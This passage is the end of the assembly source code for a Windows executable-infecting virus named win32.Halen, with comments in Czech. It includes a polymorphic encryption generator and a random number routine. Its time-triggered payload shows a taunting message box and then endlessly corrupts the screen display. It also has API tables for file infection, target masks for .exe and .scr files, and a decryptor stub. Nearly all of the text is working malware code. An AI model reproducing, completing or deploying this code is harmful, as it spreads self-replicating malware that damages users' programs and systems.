             add eax,0C0h                            ;
             add eax,ebx                             ;Plus puvodni
             pop ebx                                 ;EBX=novy prac. registr
             stosb                                   ;Uloz vypocitanou hodnotu (decrypt)
             stosb                                   ;Pro encrypt je stejna
             mov eax,90h                             ;
             stosb                                   ;Dopln na 3 bytovou instrukci (NOP)
             add byte ptr [ebp+offset CryptSize],3h  ;Zvys pocitadlo
             jmp BCD04                               ;
   BCD01:                                            ;
             cmp eax,3h                              ;Je to ADD, SUB nebo XOR?
             ja BCD03                                ;Ne -> jdi dal
             push eax                                ;Schovat
             mov eax,3h                              ;
             call Random                             ;Zvol zpusob operace
             mov ecx,eax                             ;Schovat do ECX !!!!!
             add eax,81h                             ;Pricti zaklad
             stosb                                   ;Uloz 1. byte instrukce
             pop eax                                 ;Obnovit EAX (typ instrukce)
             dec eax                                 ;-1
             jz BCD05                                ;Je to ADD?
             std                                     ;Ne -> STD
             cmp eax,2                               ;Je to XOR?
             jne BCD06                               ;Ne -> jdi dal
      BCD05: cld                                     ;Pro XOR nebo ADD
      BCD06:
             lea esi,[ebp+offset ASXInstr]           ;ESI=tabulka zakladu registru
             add esi,eax                             ;ESI=ESI+typ instrukce (0 az 2)
             lodsb                                   ;Natahni pro decrypt
             xchg eax,edx                            ;EDX<->EAX
             lodsb                                   ;Natahni pro encrypt
             cld                                     ;Vrat zpet smer
             add eax,ebx                             ;Prictem prac. reg.
             stosb                                   ;Ulozime pro decrypt
             xchg eax,edx                            ;EDX<->EAX ;)
             add eax,ebx                             ;Prictem prac. reg.
             stosb                                   ;Ulozime pro encrypt
             add byte ptr [ebp+offset CryptSize],3h  ;Zvys pocitadlo
             test ecx,ecx                            ;Je to 6 bytova instr. (ECX viz nahore)
             jnz BCD02                               ;Ne -> preskoc
             mov eax,0FFFFFFFFh                      ;Vygenerujem 4 bytovou hodnotu
             call Random                             ;
             stosd                                   ;A ulozime
             add byte ptr [ebp+offset CryptSize],3h  ;Zvysit pocitadlo
             jmp BCD04                               ;JMP!
   BCD02:    mov eax,0100h                           ;Vygen. 1 bytovou hodnotu
             call Random                             ;
             stosb                                   ;Ulozit
             jmp BCD04                               ;JMP! :)
        ASXInstr: db 0C0h,0E8h,0F0h,0F0h ;Tabula zakladu registru pro instr. ADD, SUB, XOR, XOR
   BCD03:
             push eax                                ;Instrukce ROR nebo ROL
             mov eax,2h                              ;
             call Random                             ;Nahodna hodnota
             add eax,0C0h                            ;1. byte instrukce
             stosb                                   ;Ulozit
             pop eax                                 ;Obnovit EAX (typ instrukce)
             xchg eax,ecx                            ;EAX<->ECX
             mov eax,0c0h                            ;Zaklad pro decrypt
             mov edx,0c8h                            ;Zaklad pro encrypt
             add eax,ebx                             ;+ prac. reg.
             add edx,ebx                             ;+ prac. reg.
             sub ecx,4                               ;ECX-4
             jz BCD07                                ;Je to ROL?
             xchg eax,edx                            ;Ne -> prohod EAX<->EDX
     BCD07:  stosb                                   ;Uloz hodnotu pro decrypt
             xchg eax,edx                            ;EAX<->EDX
             stosb                                   ;Uloz hodnotu pro encrypt
             mov eax,100h                            ;
             call Random                             ;Nahodna hodnota
             stosb                                   ;Ulozit
             add byte ptr [ebp+offset CryptSize],3h  ;Zvys pocitadlo
   BCD04:                                            ;
             inc byte ptr [ebp+offset CryptNr]       ;Zvys pocitadlo poctu instrukci
             lea eax,[ebp+offset CryptData+212]      ;EAX=maximalni delka instrukci
             sub eax,[ebp+offset CDRandom]           ;Odecteme (vygenerovano vyse)
             cmp edi,eax                             ;Jsme na konci?
             jb BCD00                                ;Ne -> vygeneruj dalsi instrukci
             mov eax,87h                             ;Konec -> umistime XCHG
             stosb                                   ;1. byte
             mov eax,8h                              ;
             mul ebx                                 ;EAX=EAX*prac.reg.
             add eax,0c0h                            ;EAX+0C0h
             stosb                                   ;Ulozit
             ret                                     ;Hotovo!
   CDRandom: dd ?

;ŰßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßŰ
;Ű               GENEROVANI NAHODNYCH CISEL - VERY STUPID CODE                Ű
;ŰÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜŰ
  Random:                                            ;Tohle je generator nah. cisel
             push edx                                ;Je tak debilni, ze to ani nebudu
             push ecx                                ;komentovat
             xchg eax,ecx                            ;Vstup: EAX=cislo
             mov eax,[ebp+offset RandomNr]           ;Vystup: EAX=nah. cislo mensi nez
             mov edx,87654321h                       ;        vstupni EAX a vetsi nez 0
             mul edx                                 ;
             xor eax,12345678h                       ;
             mov [ebp+offset RandomNr],eax           ;
             mov edx,eax                             ;
             rol edx,8                               ;
             push eax                                ;
             jmp Rnd01                               ;
     Rnd00:  pop eax                                 ;
             shr eax,1                               ;
             shr edx,1                               ;
             xor eax,edx                             ;
             push eax                                ;
             and eax,edx                             ;
             test eax,eax                            ;
             jz Rnd01                                ;
             dec eax                                 ;
     Rnd01:  cmp eax,ecx                             ;
             jae Rnd00                               ;
             pop ecx                                 ;
             pop ecx                                 ;
             pop edx                                 ;
             ret                                     ;Hotovo!

;ŰßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßŰ
;Ű                          !!!!!!!!! PAYLOAD !!!!!!!!                        Ű
;ŰÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜŰ
    PayLoad:                                         ;Payload (moje oblibena cast)
             lea eax,[ebp+offset FSearch]            ;Data budeme ukladat do Search recordu
             push eax                                ;protoze uz ho nepotrebujem
             push eax                                ;
             call [ebp+offset GetSystemTimeVA]       ;Zjistime systemovy cas
             pop esi                                 ;ESI=VA FSearch
             cmp word ptr [esi+4],06                 ;Sobota?
             jne NoPL                                ;Ne -> :(
             cmp word ptr [esi+8],19                 ;19 hod. ?
             jne NoPL                                ;Ne -> :(
             lea eax,[ebp+offset gdi]                ;
             push eax                                ;VA jmena knihovny
             call [ebp+offset LoadLibraryAVA]        ;Natahneme knihovnu gdi32.dll
             xchg eax,edx                            ;EDX=VA knihovny v pameti
             lea esi,[ebp+offset BitBltS]            ;ESI=VA prvniho API nazvu
             call FindPLAPIs                         ;Najdi adresu API funkci
             lea eax,[ebp+offset user32]             ;VA jmena knihovny
             push eax                                ;
             call [ebp+offset LoadLibraryAVA]        ;Natahni knihovnu user32.dll
             xchg eax,edx                            ;EDX=VA knihovny
             lea esi,[ebp+offset MsgBoxAS]           ;
             call FindPLAPIs                         ;Najdem API adresy
             push 1000h                              ;Typ okna
             lea eax,[ebp+offset plTitle]            ;
             push eax                                ;Titulek okna
             lea eax,[ebp+offset plText]             ;
             push eax                                ;Text okna
             push 0h                                 ;Vzdy 0h
             call [ebp+offset MsgBoxAVA]             ;Ukaz Dialog
             push 0h                                 ;
             call [ebp+offset GetDCVA]               ;Handle obrazovky
             xchg eax,edx                            ;EDX=Handle
     PLSt:   xor ebx,ebx                             ;EBX=0h (radek)
             mov ecx,0000FFh                         ;Cervena barva
     PL00:   call SetPix                             ;Nastav pixel
             inc ebx                                 ;Na dalsi radek
             dec ecx                                 ;Zmen barvu (od cervene k cerne)
             jnz PL00                                ;Cerna?
     PL01:   call SetPix                             ;Nastav pixel
             inc ebx                                 ;Dalsi radek
             cmp ebx,800h                            ;Konec obrazovky?
             jne PL01                                ;Ne -> opakuj
             xor ebx,ebx                             ;
     PL02:   xor eax,eax                             ;Sloupec 0
             mov ebx,1                               ;Na sloupec 1
             push edx                                ;Uschovat handle
             call MoveScr                            ;Posun obrazovku
             pop edx                                 ;Obnov handle
             jmp PLSt                                ;Opakuj do zblbnuti!
     NoPL:   ret                                     ;Navrat (spatny datum/cas)

    FindPLAPIs:
             xor eax,eax                             ;EAX=0 ;)
             lodsb                                   ;AL=delka nazvu API funkce
             cmp al,0h                               ;Konec seznamu?
             je FPLAOK                               ;yo -> hotovka
             push eax                                ;Uschovat
             push edx                                ;
             push esi                                ;VA nazvu
             push edx                                ;VA modulu (knihovny)
             call [ebp+offset GetProcAddressVA]      ;Zjisti VA API
             pop edx                                 ;Obnov vsechno
             pop ebx                                 ;
             add esi,ebx                             ;Posunout za nazev
             mov edi,esi                             ;EDI=ESI
             stosd                                   ;Ulozit VA
             mov esi,edi                             ;ESI=EDI
             jmp FindPLAPIs                          ;Opakuj pro dalsi nazev
     FPLAOK: ret                                     ;Hotovo!
     
    MoveScr: push ebx                                ;Uschovat EBX
             push  00CC0020h                         ;Zpusob kopirovani
             push 0h                                 ;Radek odkud
             push eax                                ;Sloupec odkud
             push  edx                               ;Handle odkud
             push  800h                              ;Vyska
             push  800h                              ;Sirka
             push 0h                                 ;Handle kam
             push ebx                                ;Radek kam
             push  edx                               ;Sloupec kam
             call [ebp+offset BitBltVA]              ;Posun ten kus obrazu!
             pop ebx                                 ;Obnovit
             ret                                     ;Zpet!

     SetPix: push ecx                                ;Uschovat souradnice
             push edx                                ;
             push ecx                                ;Barva
             push ebx                                ;Radek
             push 0h                                 ;Sloupec
             push edx                                ;Handle
             call [ebp+offset SetPixelVA]            ;Nastav pixel
             pop edx                                 ;Obnov souradnice
             pop ecx                                 ;
             ret                                     ;Hotovo!

;ŰßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßŰ
;Ű                                   DATA                                     Ű
;ŰÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜŰ
 plTitle      db 'win32.Halen',0h
  plText       db '..::|| Your system was fucked by win32.Halen. Written by pxR[MIONS] ||::..',0h

 CryptSize db ?
 CryptNr   db ?
 RandomNr:  dd ?
 DecryptStart: db 0e8h,0h,0h,0h,0h,05fh,081h,0c7h,08bh,0f7h,033h,0edh,0fch,0adh
 DecryptEnd: db 0abh,45h,081h,0FDh,0fh,85h,00,00,00,00

 VirSize equ offset VirusEnd-offset Start+1
 DataSize equ offset VirusEnd-offset CodeEnd+1
 
 if debug
    testFName db 'test.exe',0h
 endif
 
 exeMask db '*.exe',0h
 scrMask db '*.scr',0h
 origIP dd ?
 
 APITableStr:
       GetFileAttributesAS    db 19,'GetFileAttributesA',0h
       SetFileAttributesAS    db 19,'SetFileAttributesA',0h
       CreateFileAS           db 12,'CreateFileA',0h
       GetFileTimeS           db 12,'GetFileTime',0h
       CreateFileMappingAS    db 19,'CreateFileMappingA',0h
       MapViewOfFileS         db 14,'MapViewOfFile',0h
       UnmapViewOfFileS       db 16,'UnmapViewOfFile',0h
       CloseHandleS           db 12,'CloseHandle',0h
       SetFilePointerS        db 15,'SetFilePointer',0h
       SetEndOfFileS          db 13,'SetEndOfFile',0h
       SetFileTimeS           db 12,'SetFileTime',0h
       ExitProcessS           db 12,'ExitProcess',0h
       FindFirstFileAS        db 15,'FindFirstFileA',0h
       FindNextFileAS         db 14,'FindNextFileA',0h
       GetWindowsDirectoryAS  db 21,'GetWindowsDirectoryA',0
       GetSystemDirectoryAS   db 20,'GetSystemDirectoryA',0
       GetCurrentDirectoryAS  db 21,'GetCurrentDirectoryA',0
       SetCurrentDirectoryAS  db 21,'SetCurrentDirectoryA',0
       GetTickCountS          db 13,'GetTickCount',0
       LoadLibraryAS          db 13,'LoadLibraryA',0
       GetSystemTimeS         db 14,'GetSystemTime',0
       GetProcAddressS        db 15,'GetProcAddress',0
                              db 0h

 gdi:         db 'gdi32.dll',0h
 user32:      db 'user32.dll',0h
 BitBltS      db 7,'BitBlt',0h
 BitBltVA     dd ?
 SetPixelS    db 9,'SetPixel',0h
 SetPixelVA   dd ?
              db 0h
 MsgBoxAS     db 12,'MessageBoxA',0h
 MsgBoxAVA    dd ?
 GetDCS       db 6,'GetDC',0h
 GetDCVA      dd ?
              db 0h

                              db 0h,0h,0h,0h

 CodeEnd:
;ŰßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßŰ
;Ű          KONEC KODU NASLEDUJICI DATA SE UZ NEKOPIRUJI S TELEM VIRU         Ű
;ŰÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜŰ
 
  CryptData  db 214 dup (0h)

 APITableVA:
       GetFileAttributesAVA   dd ?
       SetFileAttributesAVA   dd ?
       CreateFileAVA          dd ?
       GetFileTimeVA          dd ?
       CreateFileMappingAVA   dd ?
       MapViewOfFileVA        dd ?
       UnmapViewOfFileVA      dd ?
       CloseHandleVA          dd ?
       SetFilePointerVA       dd ?
       SetEndOfFileVA         dd ?
       SetFileTimeVA          dd ?
       ExitProcessVA          dd ?
       FindFirstFileAVA       dd ?
       FindNextFileAVA        dd ?
       GetWindowsDirectoryAVA dd ?
       GetSystemDirectoryAVA  dd ?
       GetCurrentDirectoryAVA dd ?
       SetCurrentDirectoryAVA dd ?
       GetTickCountVA         dd ?
       LoadLibraryAVA         dd ?
       GetSystemTimeVA        dd ?
       GetProcAddressVA       dd ?
       
 K32VA:      dd ?
 K32EAT:     dd ?
 K32ENPT:    dd ?
 K32EO:      dd ?
 K32EOMax:   dd ?
 
 fileAlign dd ?
 infCounter db ?
  
 mapMem dd ?
 mapView dd ?
 IMHandle dd ?
 IFHandle dd ?
 origDir db 128h dup (?)
 currDir db 128h dup (?)
 
 FileTime STRUC
        LDateTime  dd ?
        HDateTime  dd ?
 FileTime ENDS

 FSearchData STRUC
        FAttr      dd ?
        CrTime     FileTime ?
        LAcTime    FileTime ?
        LWrTime    FileTime ?
        FSizeH     dd ?
        FSizeL     dd ?
        Res0       dd ?
        Res1       dd ?
        FName      db 260 dup (?)
        AlFName    db 16 dup (?)                  
 FSearchData ENDS
 
 FSearch FSearchData ?
 
 
;ŰßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßŰ
;Ű                       DIALOG BOX PRO 1. GENERACI VIRU                      Ű
;ŰÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜŰ
 VirusEnd:
             push 0h                                 ;First generation only!
             push offset FGTitle
             push offset FGMessage
             push 0h
             call MessageBoxA
             push 0h
             call ExitProcess

end Start

;ŰßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßŰ
;Ű                              A TO JE VSE PRATELE                           Ű
;ŰÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜŰ